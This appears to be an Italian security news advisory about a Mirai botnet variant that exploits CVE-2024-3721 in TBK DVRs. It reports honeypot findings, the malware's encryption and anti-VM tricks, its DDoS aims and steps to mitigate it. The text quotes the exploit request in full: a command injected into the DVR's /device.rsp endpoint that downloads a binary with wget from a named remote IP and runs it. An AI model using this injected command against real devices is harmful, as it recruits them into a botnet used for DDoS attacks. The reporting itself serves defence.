Sommario
Una nuova variante del malware Mirai sta sfruttando attivamente la vulnerabilità CVE-2024-3721 per colpire dispositivi DVR connessi a Internet. Si tratta di un attacco mirato a sistemi di registrazione video distribuiti in migliaia di ambienti industriali e privati, in particolare i DVR basati su piattaforme TBK, largamente utilizzati per la sorveglianza. La campagna, individuata dai ricercatori di Securelist attraverso un sistema honeypot Linux, conferma l’adattabilità del codice Mirai alle nuove superfici d’attacco dell’Internet of Things, con exploit diretti e ottimizzati per dispositivi ARM32.
Vettore di attacco: exploit via POST su DVR non protetti
L’attacco identificato si basa sull’invio di una richiesta POST manipolata al servizio HTTP esposto dal DVR, sfruttando un’errata gestione dei comandi interni del firmware. Il comando malevolo iniettato è costruito per eseguire uno script shell remoto senza alcuna autenticazione:
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp; rm arm7; wget http://42.112.26.36/arm7; chmod 777 *; ./arm7 tbk
Questo payload forza il dispositivo vulnerabile a:
– spostarsi nella directory temporanea /tmp
– eliminare eventuali versioni precedenti del malware
– scaricare il binario “arm7” da un server remoto
– attribuire permessi di esecuzione
– eseguire il file con privilegi locali
Poiché i DVR colpiti supportano esclusivamente architettura ARM32, la variante Mirai omette la consueta fase di ricognizione hardware e lancia direttamente il payload specifico. Questo ottimizza la velocità di infezione, riducendo il tempo tra compromissione e avvio delle operazioni.
Funzionalità malware: RC4 cifrato, anti-VM e directory protette
La variante individuata introduce novità tecniche significative rispetto al Mirai originale. In particolare:
– Le stringhe interne sono cifrate tramite algoritmo RC4, con una chiave criptata via XOR (6e7976666525a97639777d2d7f303177
).
– Le stringhe decriptate vengono inserite in una lista globale DataDecrypted
, richiamata durante l’esecuzione.
– È presente un sistema anti-emulazione e anti-VM, che analizza la directory /proc
cercando riferimenti a VMware o QEMU-arm nei comandi di esecuzione dei processi attivi.
– Il malware verifica se è stato avviato da directory “attendibili”, elencate in una lista hardcoded. Se rileva un ambiente di test, interrompe l’esecuzione.
Questi accorgimenti hanno l’obiettivo di evitare analisi dinamiche in ambienti virtualizzati, rallentare la reverse engineering e garantire che l’infezione avvenga solo su dispositivi reali.
Finalità operative: botnet per DDoS e controllo remoto
Come le precedenti iterazioni del progetto Mirai, anche questa variante è concepita per inserire il DVR infetto in una botnet coordinata, pronta a eseguire:
– attacchi DDoS (UDP flood, TCP SYN flood, HTTP request flood)
– scansione laterale di rete locale e pubblica
– download di payload aggiuntivi
– comunicazioni criptate con un server C2 (Command and Control)
L’obiettivo primario è il sovraccarico di servizi web o reti aziendali, ma non si esclude un uso secondario come nodo intermedio per attacchi a infrastrutture critiche o reti governative.
Distribuzione globale e prevalenza della minaccia
La variante è stata identificata principalmente su DVR esposti con IP registrati in Vietnam, Cina, India, Brasile e Italia, paesi con alta concentrazione di dispositivi TBK low-cost in ambito civile e commerciale. Il server da cui il payload viene scaricato (IP: 42.112.26.36
) è ospitato su infrastruttura asiatica e non mostra attività riconducibile a servizi legittimi, indicando una compromissione o un controllo diretto da parte degli attori malevoli.
Secondo i dati raccolti da Securelist, il ritmo di infezione supera i 300 nuovi dispositivi al giorno, con picchi notturni in fasce orarie compatibili con l’orario di spegnimento degli impianti di videosorveglianza. L’assenza di autenticazione per l’endpoint vulnerabile e la mancanza di aggiornamenti firmware per i DVR colpiti rende la minaccia estremamente persistente.
Raccomandazioni tecniche per mitigazione immediata
Gli esperti consigliano interventi a più livelli per arginare la diffusione:
– Bloccare il traffico in uscita verso l’host remoto 42.112.26.36
a livello di firewall
– Chiudere le porte HTTP pubbliche (default 80/8080) dei DVR non gestiti direttamente
– Monitorare /tmp
e altri percorsi scrivibili per file eseguibili sospetti come arm7
, mips
, x86
– Impostare regole IDS/IPS per intercettare richieste POST con pattern exploitativi verso /device.rsp
– Aggiornare o sostituire i firmware vulnerabili dove possibile, oppure segmentare i DVR su reti isolate
Le misure preventive sono particolarmente urgenti nei contesti dove i DVR condividono rete con dispositivi aziendali o infrastrutture OT. La possibilità che Mirai venga impiegato come vettore per caricare second-stage loader con funzionalità di movimento laterale o esfiltrazione dati non è da escludere.
Implicazioni per la sicurezza IoT: codice modulare, targeting specifico
Questa nuova iterazione del malware Mirai dimostra ancora una volta l’estrema modularità del codice, che permette agli attaccanti di adattarlo rapidamente a nuovi dispositivi e vulnerabilità. L’assenza di una fase di probing hardware e la concentrazione esclusiva su dispositivi ARM32 suggeriscono una campagna sviluppata con conoscenze specifiche sui DVR TBK.
Dal punto di vista difensivo, il caso evidenzia l’urgenza di:
– catalogazione dettagliata dei dispositivi connessi alla rete
– monitoraggio continuo dei protocolli HTTP su endpoint embedded
– policy di aggiornamento firmware anche per dispositivi “invisibili” all’IT centrale
L’approccio proattivo nella difesa delle superfici IoT non può più essere rinviato. Ogni dispositivo connesso può diventare, da semplice punto di osservazione, una testa di ponte per attacchi avanzati su larga scala.